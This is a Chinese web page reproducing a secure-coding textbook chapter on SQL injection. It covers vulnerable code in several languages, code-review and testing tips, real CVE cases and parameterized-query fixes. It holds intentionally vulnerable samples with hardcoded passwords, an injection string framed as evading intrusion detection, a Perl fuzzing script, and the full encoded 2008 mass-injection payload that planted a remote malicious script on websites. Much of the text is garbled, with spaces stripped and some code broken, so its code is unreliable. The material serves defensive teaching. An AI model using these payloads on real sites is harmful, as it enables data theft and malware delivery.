漏洞如何检测网站漏洞

如何检测网站漏洞  时间:2021-04-15  阅读:()

1.
1漏洞概述SQL注入是一种非常严重的代码漏洞,它可以导致机器被入侵,敏感数据泄漏,最近,这种漏洞还会传播恶意软件.
而真正让人担心的是:受这些漏洞影响的系统通常都是电子商务系统或用来处理敏感数据或PII(personallyidentifiableinformation,个人身份信息)的应用程序.
从作者的经验来看,许多家用或者商用的数据库驱动应用程序都会有SQL注入的漏洞.
下面将清晰阐述这个漏洞的潜在威胁.
如果所建立的应用程序与数据库通信,且代码中有一个或多个SQL注入漏洞(无论您知道与否),就会把数据库中的所有数据置于危险之中.
如果不明白这句话的含义,请继续阅读.

有时,即使没有SQL注入漏洞,数据也会被入侵.
入侵数据库的一种常见方式是通过打开如下数据库端口,例如:MicrosoftSQLServer的TCP/1433端口Oracle的TCP/1521端口IBMDB2的TCP/523的端口MySQL的TCP/3306端口而进入一直处于打开状态的前门.
如果这些端口对Internet是开放的,则使用默认的系统管理员账户登录,很可能会引发灾难.
有数据就是有DATA.
SQL注入攻击的一个最大危害是攻击者可以获得隐私、PII或者敏感数据.
攻击者不需要使用系统管理员的身份,就可以盗取数据.
在一些国家、州或者工作单位里,如果发生了这种情况,当事人要负相应的责任.
例如,在加利福尼亚州,如果您负责的数据库被入侵,而数据库含有隐私或者个人数据,那么OnlinePrivacyProtectionAct(在线隐私保护法案)可能会让您吃官司;在德国,§9BDSG(FederalDataProtectionAct,联邦数据保护法案)要求为处理PII的系统提供恰当的组织上和技术上的安全保护.
同时,不要忘记2002年美国的Sarbanes-Oxley法案,即著名的§404号法案,要求您充分地保护用于生成公司财务报告的数据.
如果一个系统容易受到SQL注入的攻击,显然它的访问控制是低效的,可以认为是没有遵从这些法令的要求.

处理信用卡信息的组织可以不遵守PaymentCardIndustry(PCI)DataSecurityStandard(DSS)要求6.
5.
6,该要求如下:根据安全编码规则开发所有的Web应用程序,例如OpenWebApplicationSecurityProject规则.
审查定制应用程序的代码,找出编码漏洞.
在软件开发过程中避免出现常见的编码漏洞,包括……注入漏洞(例如结构化查询语言(SQL)注入漏洞).
文档"InformationSupplement:PaymentCardIndustryDataSecurityStandard(PCIDSS)Requirement6.
5.
6CodeReviewsandApplicationFirewalls"清晰地说明了SQL注入漏洞的本质:对持卡人数据被入侵的取证分析表明,Web应用程序常常是攻击持卡人数据的起点,尤其是通过SQL注入漏洞进行的攻击.
PCIDSS是由主要信用卡公司制定的,以帮助处理信用卡支付业务的组织避免信用卡诈骗和其他危险.
在美国,处理卫生保健记录的组织要遵守1996年颁布的HealthInsurancePortabilityandAccountabilityAct(HIPAA),该法案指出:……系统应该提供合理、适当的管理、技术和物理安全保护:(A)确保信息的完整性和机密性;(B)防止任何可预见的如下行为:(i)对信息的安全和完整性的威胁或伤害;(ii)对信息的未授权使用或泄露.
显然,入侵包含了私人卫生保健信息的SQL数据库是一个诱人的目标,也是违反HIPAA的.
记住,由SQL注入攻击引起的损失不仅仅是数据库中的数据,攻击也可能导致服务器甚至整个网络受到入侵.
对攻击者来说,一个受到入侵的后端数据库仅仅只是获得更大、更多入侵战果的跳板而已.
1.
2CWE参考CommonWeaknessEnumeration项目包含如下项,它也是CWE/SANSTop25MostDangerousProgrammingErrors的一部分:CWE-89:FailuretoPreserveSQLQueryStructure(也称为SQLInjection)1.
3受影响的编程语言任何用于与数据库交互的编程语言都可能受到此漏洞的影响.
但是主要的还是一些高级语言,例如Perl、Python、Ruby、Java、服务器页面技术(例如ASP、ASP.
NET、JSP和PHP)、C#和VB.
NET.
有时,低级语言,如使用了数据库相关的库函数或者类(例如,FairCom的c-tree库或者微软基础类)的C和C++,也会受到影响.
其实,SQL语言自身也会受到此漏洞的影响.

1.
4漏洞详述此漏洞的最常见变体非常简单——攻击者为数据库应用程序提供一些恶意构造的数据,然后应用程序使用这些数据,通过字符串连接函数构造SQL语句.
这样,攻击者就可以更改SQL查询的语义.
人们通常使用字符串连接函数,这可能是因为他们不知道还有另外一种更安全的方式可以完成相同的操作.
不过说实话,字符串连接函数非常简单,但容易出错.

该漏洞的一种较为少见的变体是SQL存储过程.
存储过程会接收一个参数,接着简单地执行这个参数或者利用这些参数进行字符串连接,然后执行连接后的结果.
1.
4.
1关于LINQ的注意事项微软在.
NETFramework3.
5中引入了一种技术,称为LanguageIntegratedQuery(LINQ,读作link),它也允许不编写SQL语句就处理数据.
在运行时,LINQ会把代码中的查询转换为SQL,再对数据库执行它们.
由于开发人员是在操作数据库,而没有编写纯SQL,所以产生SQL注入漏洞的机会大大减少了.
下面的LINQ查询:varq=fromcindb.
Customerswherec.
City=="Austin"selectc.
ContactName;会变成更安全的如下SQL代码:SELECT[t0].
[ContactName]FROM[dbo].
[Customers]AS[t0]WHERE[t0].
[City]=@p0--@p0:InputNVarChar(Size=6;Prec=0;Scale=0)[Austin]1.
4.
2受漏洞影响的C#下面是一个典型的SQL注入漏洞示例:usingSystem.
Data;usingSystem.
Data.
SqlClient;.
.
.
stringccnum="None";stringstate="";try{SqlConnectionsql=newSqlConnection(@"datasource=localhost;"+"userid=sa;password=pAs$w0rd;");sql.
Open();stringsqlstring="SELECTccnum"+"FROMcustWHEREid="+Id;SqlCommandcmd=newSqlCommand(sqlstring,sql);ccnum=(string)cmd.
ExecuteScalar();}catch(SqlExceptionse){status=sqlstring+"failed\n\r";foreach(SqlErroreinse.
Errors){status+=e.
Message+"\n\r";}字符串连接的一个变体是字符串替换,例如下面的C#代码同样会受到SQL注入攻击:stringsqlstring="SELECTccnum"+"FROMcustWHEREid=%ID%";Stringsqlstring2=sqlstring.
Replace('%ID%',id);1.
4.
3受漏洞影响的PHP下面的典型示例同样会受到SQL注入攻击,但这个示例是由另一种用于数据库访问的常见语言PHP编写的:1.
4.
4受漏洞影响的Perl/CGI下面的代码有相同的缺陷,编写这段代码所采用的语言是易受攻击的Perl:#!
/usr/bin/perluseDBI;useCGI;printCGI::header();$cgi=newCGI;$id=$cgi->param('id');print"";$dbh=DBI->connect('DBI:mysql:Shipping:localhost','root','$3cre+')orprint"Connectfailure:$DBI::errstr";$sql="SELECTccnumFROMcustWHEREid=".
$id;$sth=$dbh->prepare($sql)orprint"Preparefailure:($sql)$DBI::errstr";$sth->execute()orprint"Executefailure:$DBI::errstr";#Dumpdatawhile(@row=$sth->fetchrow_array){print"@row";}$dbh->disconnect;print"";exit;1.
4.
5受漏洞影响的PythonPython是一种创建Web应用程序的流行开发语言,当然,它也会受到糟糕的实际编码方式的影响,导致SQL注入漏洞.
Python拥有对最常见的后端数据库的模块支持,例如MySQL、Oracle和SQLServer;它还为MicrosoftOpenDatabaseConnectivity(ODBC)技术提供了一个通用接口.
其中的许多模块都与PythonDBAPI兼容.
下面的代码示例说明了如何连接MySQL数据库、再潜在地入侵其中的客户数据:importMySQLdbconn=MySQLdb.
connect(host="127.
0.
0.
1",port=3306,user="admin",passwd="N01WillGue$S",db="clientsDB")cursor=conn.
cursor()cursor.
execute("select*fromcustomerwhereid="+id)results=cursor.
fectchall()conn.
close(1.
4.
6受漏洞影响的RubyonRailsRuby是另一个创建基于Web的、与数据库交互操作的应用程序的流行开发语言.
Rails是开发基于数据库的应用程序的架构,它遵循开发人员所熟悉的Model-View-Controller(MVC)模式.
但下面的示例代码是有漏洞的:Post.
find(:first,:conditions=>[title=#{params[:search_string]}])这段代码基本上是在连接字符串——不太好!
注意:在Rails2.
1版本之前,该架构处理ActiveRecord:limit和:offset参数的方式中有一个糟糕的SQL注入漏洞.
由于有这个漏洞,如果使用Rails,就应升级到2.
1或更高版本.
1.
4.
7受漏洞影响的Java和JDBC另一种常用的语言Java也会受到这种SQL注入安全缺陷的影响:importjava.
*;importjava.
sql.
*;.
.
.
publicstaticbooleandoQuery(StringId){Connectioncon=null;try{Class.
forName("com.
microsoft.
jdbc.
sqlserver.
SQLServerDriver");con=DriverManager.
getConnection("jdbc:microsoft:sqlserver:"+"//localhost:1433","sa","$3cre+");Statementst=con.
createStatement();ResultSetrs=st.
executeQuery("SELECTccnumFROMcustWHEREid="+Id);while(rs.
next()){//Partyonthequeryresults}rs.
close();st.
close();}catch(SQLExceptione){//OOPS!
returnfalse;}catch(ClassNotFoundExceptione2){//Classnotfoundreturnfalse;}finally{try{con.
close();}catch(SQLExceptione){}}returntrue;}1.
4.
8受漏洞影响的C/C++像C/C++这样的低级语言很少用于建立数据库应用程序,因为必须编写非常多的代码才能完成最简单的任务.
那么,为什么还要包含C/C++呢这里展示C/C++中的这个漏洞是为了说明字符串连接主题上一个微妙而重要的变体:intBuildPwdChange(constchar*szUid,constchar*szOldPwd,constchar*szNewPwd,_In_z_count_(cchSQL)char*szSQL,DWORDcchSQL){intret=0;if(!
szUid||!
szOldPwd||!
szNewPwd)returnret;char*szEscapeUid=(char*)malloc(strlen(szUid)*2);char*szEscapeOldPwd=(char*)malloc(strlen(szOldPwd)*2);char*szEscapeNewPwd=(char*)malloc(strlen(szNewPwd)*2);if(szEscapeUid&&szEscapeOldPwd&&szEscapeNewPwd){szEscapeUid=Escape(szUid);szEscapeOldPwd=Escape(szOldPwd);szEscapeNewPwd=Escape(szNewPwd);sprintf_s(szSQL,cchSQL,"updateUserssetpwd='%s'whereuid='%s'""ANDpwd='%s'",szEscapeNewPwd,szEscapeUid,szEscapeOldPwd);ret=1;}if(szEscapeUid)free(szEscapeUid);if(szEscapeOldPwd)free(szEscapeOldPwd);if(szEscapeNewPwd)free(szEscapeNewPwd);returnret;}这里的漏洞是,在调用sprint_s的过程中执行的字符串连接可能导致截去SQL语句中的字符串.
假定szSQL有100个字符,攻击者可以提供一个用空格填充的uid,这样ANDpwd=子句就会从SQL语句中删除!
也就是:updateUserssetpwd='xyzzy'whereuid='mikeh'结果是,上述代码把密码设置为mikeh账户,但不必知道账户密码.
1.
4.
9受漏洞影响的SQL下面这个示例并不常见,但是我们在一些产品的代码中多次看到这些代码.
这个存储过程只是接收了一个字符串作为参数,然后执行这个参数!
CREATEPROCEDUREdbo.
doQuery(@querynchar(128))ASexec(@query)RETURN另一方面,下面的代码更常见,并且同样危险:CREATEPROCEDUREdbo.
doQuery(@idnchar(128))ASDECLARE@querynchar(256)SELECT@query='selectccnumfromcustwhereidid+''''EXEC@queryRETURN在上面的示例中,产生漏洞的字符串连接出现在存储过程的内部.
因此,即使正确使用了高级语言来调用这个存储过程,仍旧可能会遭到SQL注入攻击.
要查找的其他SQL连接运算符是"+"和"||",以及CONCAT()或CONCATENATE()函数.
在这些小示例中,攻击者控制了Id变量.
重要的是,了解攻击者控制了哪些变量有助于确定代码是否确实存在漏洞.
在上面的示例中,攻击者完全控制了查询字符串中的Id变量,而且由于他可以决定查询字符串的内容,所以,攻击造成的后果可能是非常严重的.

典型的SQL注入攻击是为查询字符串添加一些子句,注释掉"不必要"的子句.
例如,如果攻击者控制了Id,他可能提供1or2>1--这样的子句,从而构造如下所示的SQL查询:SELECTccnumFROMcustWHEREid=1or2>1--如果您对bashshell很熟悉,就知道2>1并没有重定向stderr!
2>1对于表中所有的行都是成立的,因此,上面的查询会返回cust表中所有的行;换句话说,这个查询返回所有的信用卡号.
注意,我们可能会使用典型的"1=1"攻击,但是网络管理员常常会在IDS(intrusiondetectionsystem,入侵检测系统)中检测这种攻击,因此我们会使用另外的方式来躲避这种检测,例如2>1,这种方式在效果上是相同的.
注释运算符--会注释掉代码添加到查询上的所有字符.
有些数据库使用--,而其他数据库使用#.
您必须知道您所查询的数据库使用的注释运算符.
还有许多其他的攻击变体,由于篇幅所限,这里不再列举,请参考1.
11节"其他资源",以获得更多的示例.
1.
4.
10相关漏洞前面所有的示例也存在其他漏洞:使用高权限账户连接数据库;在代码中嵌入了密码;给攻击者提供太多的出错信息;规范化(canonicalization)问题.
下面依次讨论这些漏洞.
上面所有的示例都使用具有管理权限或者高权限的账户连接数据库,而不是使用仅具有数据库读权限的账户.
这就意味着攻击者可以处理数据库中的其他信息,或者对服务器进行操作.
简言之,在与SQL数据库的连接中使用高权限的账户本身很可能就是一个漏洞,这违反了最小权限的原则.

在代码中嵌入密码也是错误的.
参考第17章,获取这方面的更多信息和弥补措施.
最后,如果上面的示例代码执行失败,那么出错信息为攻击者提供了过多的信息.
这些信息可以帮助他们了解SQL查询语句的特点,或者数据库相关对象的名称.
参考第11章,可以获取更多的信息和弥补措施.

1.
5查找漏洞模式包含如下模式的任何应用程序,都容易受到SQL注入的攻击:接收用户输入;没有检查用户输入的有效性;使用用户输入的数据来查询数据库;使用字符串连接或者字符串替换函数来构造SQL查询,或者使用SQLexec命令(或类似的方法)来执行SQL查询.
1.
6在代码审查期间查找该漏洞检查代码是否会引起SQL注入攻击时,首先要寻找用于查询数据库的代码.
没有明显包含数据库操作的代码一般不会引起SQL注入攻击.
我们通常会对代码进行扫描,寻找包含数据库访问代码的结构,如表1-1所示.

表1-1语言待查找的关键字VB.
NETSql、SqlClient、OracleClient、SqlDataAdapterC#Sql、SqlClient、OracleClient、SqlDataAdapterPHPmysql_connectPerl1DBI、Oracle、SQLRubyActiveRecordPython(MySQL)MySQLdbPython(Oracle,来自zope.
org)DCOracle2Python(SQLServer,来自object-craft.
com.
au)pymssqlJava(包含JDBC)java.
sql、sqlActiveServerPagesADODBC++(微软基础类)CDatabaseC/C++(MySQL)#include#includeC/C++(ODBC)#includeC/C++(ADO)ADODB、#import"msado15.
dll"SQLexec、execute、sp_executesqlColdFusioncfquery1在http://search.
cpan.
org/modlist/Database_Interfaces上列出了Perl数据库访问技术.
一旦判断出哪块代码中有数据库操作,就要确定该代码中的哪些语句执行了数据库查询,以及每个查询中数据的可信性.
一个简单的方法是查找所有执行SQL语句的代码,然后判断是否在不可信的数据(例如来自查询字符串、Web表单、SOAP参数的数据)上使用了字符串连接或者替换函数.
事实上,对任何用于查询的输入都应当进行这样的判断.

1.
7发现该漏洞的测试技巧还没有什么方法可替代对代码的仔细审查,以确定是否有SQL注入漏洞.
但是,有时您可能无权访问这些代码,或者您并不是一个代码阅读方面的专家.
在这些情况下,可以利用测试来辅助审查代码.
首先,找出应用程序中用于创建SQL查询的所有入口点;接着,创建一个用于测试的客户端程序,给这些端点发送一些恶意构造的数据.
例如,如果要审查的代码是一个Web应用程序,它根据一个或者多个表单项建立查询,此时就应该向每个表单项中填入随机的SQL保留符号或者保留字来进行测试.
下面的Perl示例代码显示了这一过程:#!
/usr/bin/perlusestrict;useHTTP::Request::Commonqw(POSTGET);useHTTP::Headers;useLWP::UserAgent;srandtime;#Pauseiferrorfoundmy$pause=1;#URLtotestmy$url='http://mywebserver.
xyzzy123.
com/cgi-bin/post.
cgi';#MaxvalidHTTPresponsesizemy$max_response=1_000;#Validcitiesmy@cities=qw(AucklandSeattleLondonPortlandManchesterRedmondBrisbaneNdola);while(1){my$city=randomSQL($cities[rand@cities]);my$zip=randomSQL(10_000+int(rand89_999));print"Trying[$city]and[$zip]\n";my$ua=LWP::UserAgent->new();my$req=POST$url,[City=>$city,ZipCode=>$zip,];#Sendrequest,thengetbodyandlookforerrorsmy$res=$ua->request($req);$_=$res->as_string;die"Hostunreachable\n"if/badhostname/ig;if($res->status_line!
=200||/error/ig||length($_)>$max_response){print"\nPotentialSQLInjectionerror\n";print;getcif$pause;}}#choosearandomSQLreservedword,uppercaseit50%subrandomSQL(){$_=shift;return$_if(rand>.
75);my@sqlchars=qw(1=12>1"fred"="fre"+"d"orandselectuniondropupdateinsertintodbomy$sql=$sqlchars[rand@sqlchars];$sql=uc($sql)ifrand>.
5;returnsqlifrand>.
9;return$sqlifrand>.
9;return$sql;}如果应用程序返回错误,就表明代码发现了注入错误.
如前所述,没有其他办法可以替代仔细审查代码来查找该漏洞.
另一种测试技巧是利用上面的Perl代码,事先确定正常的响应应该是什么样子,然后寻找Perl脚本中不正常的响应或没有返回的响应.

也可以利用第三方工具来进行代码测试,例如,IBM公司的IBMRationalAppScan(过去叫做Sanctum,后来又叫做Watchfire)、HP公司的WebInspect(过去叫做SPIDynamics)以及Kavado公司的ScanDo.
我们强烈建议脱机测试应用程序,或者在私人网络上测试应用程序,这样就不会不小心造成更大的破坏或者启动入侵检测系统.
当评估这些工具时,建议首先编写一个小示例程序,其中包含已知的SQL注入漏洞,然后使用待评估的工具进行测试,以确定这些工具可以发现哪些漏洞.
还可以使用本章前面引用的SAMATE网站上的示例,进行测试.

1.
8漏洞示例SQL注入漏洞一直被看作是一次性的漏洞,但这种情形在2008年完全改变,攻击者通过SQL注入漏洞侵入了数以千计的、运行SQLServer和IIS的计算机.
这个漏洞不仅出现在微软产品中,攻击者还会利用某些客户编写的ASP代码中的漏洞.
攻击者利用一个模糊的SQL注入攻击,给网站添加了一个恶意的、模糊的JavaScript文件,当不知情的用户访问该网站时,Web服务器就会在中使用这个JavaScript文件.
这个JavaScript文件包含的代码会利用没有安装补丁的计算机,把恶意代码部署到用户的计算机上.
这种侵入方式非常狡诈,也非常非常危险.

许多高配置网站都受到这个漏洞的影响,包括联合国和印度银行.
DanchoDanchev对该漏洞和攻击做了很好的描述,参见1.
11节"其他资源".
攻击代码如下所示:orderitem.
aspIT=GM-204;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);--这段代码解码后的结果如下:DECLARE@Tvarchar(255)'@Cvarchar(255)DECLARETable_CursorCURSORFORselecta.
name'b.
namefromsysobjectsa'syscolumnsbwherea.
id=b.
idanda.
xtype='u'and(b.
xtype=99orb.
xtype=35orb.
xtype=231orb.
xtype=167)OPENTable_CursorFETCHNEXTFROMTable_CursorINTO@T'@CWHILE(@@FETCH_STATUS=0)BEGINexec('update['+@T+']set['+@C+']=rtrim(convert(varchar'['+@C+scriptsrc=nihaorr1.
com/1.
js>''')FETCHNEXTFROMTable_CursorINTO@T'@CENDCLOSETable_CursorDEALLOCATETable_Cursor下面取自CVE(CommonVulnerabilitiesandExposures,公共漏洞和暴露)站点的一些项都是SQL注入漏洞的示例.
1.
8.
1CVE-2006-4953远程攻击者可以利用NeonWebMailforJava5.
08中的多个SQL注入漏洞,通过adr_sortkey、adr_sortkey_desc、sortkey和sortkey_desc参数来执行任意的SQL代码.
http://vuln.
sg/neonmail506-en.
html网站对此系列的漏洞有非常精彩的描述.
1.
8.
2CVE-2006-45928PixelSimpleBlog中的SQL注入漏洞可以通过id参数来利用,因为id参数没有完全过滤.
在作者看来,这个漏洞的补丁很糟糕,因为它只更新了过滤id参数的方式,没有使用真正的防御措施,例如参数化查询.
"防范式"过滤是下面的VBScript函数:functionsanitize(strWords)dimbadCharsdimnewCharsbadChars=array("select","union","drop"insert","delete","xp_newChars=strWordsfori=0touBound(badChars)newChars=replace(LCase(newChars),LCase(badChars(i)),"")nextsanitize=newCharsendfunction使用下面的SQL调用会在代码中打出漏洞:strSQL="SELECT*FROMT_WEBLOGWHEREid="&sanitize(request.
QueryString("id"))1.
9弥补措施首先也是最重要的是,不要使用字符串连接或者字符串替换.
最简单、最有效的弥补措施是决不轻信SQL语句的输入,但是实际上很难做到这一点,因为数据库中的数据具有潜在的复杂性和多样性.
核心的防御措施是使用预置的或者参数化的SQL语句(也称为预置语句).
另一个重要的防御措施是加密底层的数据,这样在出现SQL注入漏洞时,这些数据就不会暴露.
1.
9.
1验证所有的输入现在查看第一步:决不轻信SQL语句的输入.
应总是验证SQL语句中使用的数据有正确的格式.
最简单的方法是使用一个正则表达式来解析输入,当然此时假设使用的是相对高级的语言.
1.
9.
2使用prepared语句构造SQL语句下一步是不要使用字符串连接或者字符串替换来构造SQL语句,而应该使用预置查询或者参数化的查询.
一些技术将这种查询称为占位符或者绑定.
有一些结构只能用字符串连接函数来建立,例如用DDL(DataDefinitionLanguage,数据定义语言)结构定义表这样的数据库对象.
下面的示例演示了如何使用一些更安全的结构.
注意所有这些示例都显示,连接信息并未存储在脚本中;示例代码调用自定义函数,从程序外获得数据.
1.
9.
3C#弥补措施publicstringQuery(stringId){stringccnum;stringsqlstring="";//onlyallowvalidIDs(1-8digits)Regexr=newRegex(@"^\d{1,8}$");if(!
r.
Match(Id).
Success)thrownewException("InvalidID.
Tryagain.
");try{SqlConnectionsqlConn=newSqlConnection(GetConnnection);stringstr="sp_GetCreditCard";cmd=newSqlCommand(str,sqlConn);cmd.
CommandType=CommandType.
StoredProcedure;cmd.
Parameters.
Add("@ID",Id);cmd.
Connection.
Open();SqlDataReaderread=myCommand.
ExecuteReader();ccnum=read.
GetString(0);}catch(SqlExceptionse){thrownewException("Error-pleasetryagain.
");}}1.
9.
4PHP5.
0以及MySQL1.
1或者以后版本的弥补措施低于5.
0版本的PHP并不支持前面调用mysqli_prepare时所显示的SQL占位符.
然而,如果使用PEAR(PHPExtensionandApplicationRepository,PHP扩展和应用程序库,来自http://pear.
php.
net)来查询数据库,就可以通过调用DB_common::prepare()和DB_common::query()来使用查询占位符.
1.
9.
5Perl/CGI弥补措施#!
/usr/bin/perluseDBI;useCGI;printCGI::header();$cgi=newCGI;$id=$cgi->param('id');#Validnumberrangeonly(1-8digits)exitunless($id=~/^[\d]{1,8}$);print"";#Getconnectioninfofromoutside'webspace'$dbh=DBI->connect(conn(),conn_name(),conn_pwd())orprint"Connectfailure.
";#errordetailin$DBI::errstr$sql="SELECTccnumFROMcustWHEREid=";$sth=$dbh->prepare($sql)orprint"Preparefailure";$sth->bind_param(1,$id);$sth->execute()orprint"Executefailure";while(@row=$sth->fetchrow_array){print"@row";}$dbh->disconnect;print"";exit;1.
9.
6Python弥补措施与PythonDBAPI兼容的任何模块都通过读取参数样式属性支持灵活的参数类型,例如可以使用如下参数:1.
格式化参数(参数样式是"format")cursor.
execute("select*fromcustomerwhereid=%s",[id])2.
命名参数(参数样式是"named")(cursor.
execute("select*fromcustomerwhereid=:id",{'id',:id})3.
数值参数(参数样式是"numeric")cursor.
execute("select*fromcustomerwhereid=:1",[id])4.
Python格式的参数(参数样式是"pyformat")(cursor.
execute("select*fromcustomerwhereid=%(id)s",{'id',:id}))5.
问号参数(参数样式是"qmark")cursor.
execute("select*fromcustomerwhereid=",[id])1.
9.
7RubyonRails弥补措施Post.
find(:first,:conditions=>["title=",params[:search_string]])1.
9.
8使用JDBC的Java弥补措施publicstaticbooleandoQuery(Stringarg){//onlyallowvalidIDs(1-8digits)Patternp=Pattern.
compile("^\\d{1,8}$");if(!
p.
matcher(arg).
find())returnfalse;Connectioncon=null;try{Class.
forName("com.
microsoft.
jdbc.
sqlserver.
SQLServerDriver");con=DriverManager.
getConnection(getConnectionInfo());PreparedStatementst=con.
prepareStatement("execpubs.
.
sp_GetCreditCard");st.
setString(1,arg);ResultSetrs=st.
executeQuery();while(rs.
next()){//Getdatafromrs.
getString(1);}rs.
close();st.
close();}catch(SQLExceptione){System.
out.
println("SQLError");returnfalse;}catch(ClassNotFoundExceptione2){System.
out.
println("ExecutionError");returnfalse;}finally{try{con.
close();}catch(SQLExceptione){}}returntrue;}1.
9.
9ColdFusion弥补措施对于ColdFusion来说,在标记中使用cfqueryparam,可以通过使用参数使查询更安全,但必须先验证数据的有效性:SELECT*FROMtblClientWHEREclientid=注意使用CFSQLTYPE有助于进一步限制输入的数据.
1.
9.
10SQL弥补措施不应当在存储过程中执行不可信的参数.
也就是说,作为一种深度防御机制,应该使用一些字符串检查函数来决定参数的形式是否正确.
下面的代码检查了输入的参数是否仅由4个数字组成.
注意参数的长度已设定为一个非常小的值,从而使添加其他输入更加困难.

CREATEPROCEDUREdbo.
doQuery(@idnchar(4))ASDECLARE@querynchar(64)IFRTRIM(@id)LIKE'[0-9][0-9][0-9][0-9]'BEGINSELECT@query='selectccnumfromcustwhereidid+''''EXEC@queryENDRETURN更好的方式是强制参数类型为整型:CREATEPROCEDUREdbo.
doQuery(@idsmallint)MicrosoftSQLServer2005添加了兼容POSIX的正则表达式,这一点与Oracle10g及以后版本一样.
DB2和MicrosoftSQLServer2000也使用了正则表达式的解决方案.
MySQL通过REGEXP子句来支持正则表达式.
在1.
11节"其他资源"中,可以找到所有这些解决方案的更多信息.
1.
使用QUOTENAME和REPLACE在存储过程中建立SQL语句时,另一个重要的防御措施是使用SQLServer中的QUOTENAME或REPLACE函数.
QUOTENAME可以用于界定对象名(例如表名)和数据,例如WHERE子句中使用的数据.
还可以使用REPLACE替换数据中的引号.

一般情况下,应对对象使用QUOTENAME(objectname,'['],对数据使用QUOTENAME(@data,'''').
还可以对数据使用REPLACE(@data,2.
是否应使用DBMS_ASSERTOracle10g提供了一个软件包DBMS_ASSERT,以帮助验证用户输入.
然而,这不是一个非常优秀的防御措施,因为有许多绕过输入验证的方法.
如果使用这个软件包中的任何函数,就要特别小心,更多信息请参见1.
11节"其他资源".

3.
使用CAT.
NET如果使用微软.
NET开发工具集,就应使用CAT.
NET来帮助查找代码中的SQL注入(和Web特有的)漏洞.
CAT.
NET是VisualStudio的一个插件,它可以进行静态分析,以帮助查找SQL注入和Web特有的漏洞.
下面是有漏洞的删节C#代码片段,而图1-1显示了正在运行的CAT.
NET:stringname=txtName.
Text;.
.
.
sql.
Open();stringsqlstring="SELECTinfo"+"FROMcustomerWHEREname="+name;SqlCommandcmd=newSqlCommand(sqlstring,sql);ccnum=(string)cmd.
ExecuteScalar();该工具确定txtName.
txt是不可信的,它用于建立SQL字符串,再执行SQL查询.
显然,这是一个真正的SQL注入漏洞.
CAT.
NET的链接参见1.
11节"其他资源".
图1-1CAT.
NET定位SQL注入漏洞1.
10其他防御措施还可以应用许多其他的防御措施来减少被入侵的可能性.
也许最重要的防御措施是拒绝访问底层数据库对象,例如表,而只允许访问存储过程和视图.
如果因某种原因而导致攻击者突破了您的防御措施,他也不能直接访问表数据.
这不是一个编程的防御措施,而是由数据库管理员定义的IT防御措施.

下面还有一些应采用的其他防御措施.
1.
10.
1加密敏感数据、PII数据或机密数据这个防御措施非常重要,因为遵循安全的最佳实践,不仅可以创建更安全的软件,还确保有一定的预防能力.
加密数据库中的数据需要数据库引擎支持加密.
幸运的是,SQLServer2005、Oracle、IBMDB2和MySQL等数据库系统都支持加密.
1.
10.
2使用URLScan微软更新了URLScan,这个工具会把HTTP请求限制为IISWeb服务器.
2008年,该工具开始帮助防御互联网上的一些SQL注入攻击.
最后有必要指出的是,历史上著名的PHP防御措施是确保在php.
ini文件中设置magic_quotes_gpc=1,但是这个功能在PHP6.
0.
0及以后版本中已经淘汰.
1.
11其他资源CWE-89:FailuretoSanitizeDatawithinSQLQueries(也称为"SQLInjection"):http://cwe.
mitre.
org/data/definitions/89.
html2009CWE/SANSTop25MostDangerousProgrammingErrors:http://cwe.
mitre.
org/top25Sarbanes-OxleyActof2002:www.
aicpa.
org/info/sarbanes_oxley_summary.
htmPaymentCardIndustryDataSecurityStandard:https://www.
pcisecuritystandards.
orgTheOpenWebApplicationSecurityProject(OWASP):www.
owasp.
org"AdvancedSQLInjectionInSQLServerApplications",ChrisAnley著:www.
nextgenss.
com/papers/advanced_sql_injection.
pdf"DetectingSQLInjectioninOracle",PeteFinnigan著:www.
securityfocus.
com/infocus/1714"WhyYouShouldUpgradetoRails2.
1":http://blog.
innerewut.
de/2008/6/16/why-you-should-upgrade-to-rails-2-1"NewSQLTruncationAttacksandHowtoAvoidThem",BalaNeerumalla著:http://msdn.
microsoft.
com/en-us/magazine/cc163523.
aspx"TheUnitedNationsServingMalware",DanchoDanchev著:http://ddanchev.
blogspot.
com/2008/04/united-nations-serving-malware.
html"AnyoneKnowaboutwww.
nihaorr1.
com/1.
js":http://forums.
iis.
net/t/1148917.
aspxPageIndex=1"HowACriminalMightInfiltrateYourNetwork",JesperJohansson著:www.
microsoft.
com/technet/technetmag/issues/2005/01/AnatomyofaHack/default.
aspx"SQLInjectionAttacksbyExample",StephenJ.
Friedl著:www.
unixwiz.
net/techtips/sql-injection.
html.
WritingSecureCode,SecondEdition,Michael和DavidC.
LeBlanc合著(MicrosoftPress,2002年出版),第12章,"DatabaseInputIssues"OracleRegularExpressionsPocketReference,JonathanGennick和PeterLinsley合著(O'Reilly,2003年出版)"RegularExpressionsMakePatternMatchingandDataExtractionEasier",DavidBanister著:http://msdn.
microsoft.
com/en-us/magazine/cc163473.
